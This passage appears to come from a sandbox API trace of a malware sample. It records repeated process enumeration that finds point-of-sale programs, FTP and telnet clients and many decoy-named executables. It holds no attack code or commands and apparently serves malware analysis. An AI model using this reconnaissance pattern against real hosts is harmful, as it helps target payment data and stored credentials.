pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0254.036] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0254.039] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0254.041] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0254.044] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0254.047] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0254.050] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0254.053] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0254.055] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0254.058] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0254.060] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0254.180] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0254.184] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0254.186] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0254.189] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0254.192] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0254.195] CloseHandle (hObject=0x2200) returned 1 [0254.195] Sleep (dwMilliseconds=0x64) [0254.305] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0254.318] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.320] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0254.322] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0254.326] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.328] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0254.330] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.333] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0254.335] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0254.337] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0254.339] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.342] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.497] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0254.499] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.501] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.504] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.506] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.509] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.511] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.513] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.516] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0254.518] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0254.521] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0254.526] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.529] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0254.531] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0254.533] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0254.536] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0254.538] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0254.541] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0254.594] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0254.597] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.599] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0254.602] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0254.604] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0254.607] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.609] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0254.612] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0254.614] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0254.617] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0254.619] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0254.624] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0254.626] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0254.628] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0254.630] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0254.633] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0254.635] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0254.638] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0254.640] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0254.643] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0254.645] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0254.648] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0254.650] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0254.653] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0254.655] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0254.658] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0254.660] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0254.819] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0254.822] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0254.825] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0254.828] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0254.831] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0254.834] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0254.837] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0254.839] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0254.842] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0254.845] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0254.847] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0254.850] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0254.853] Process32Next 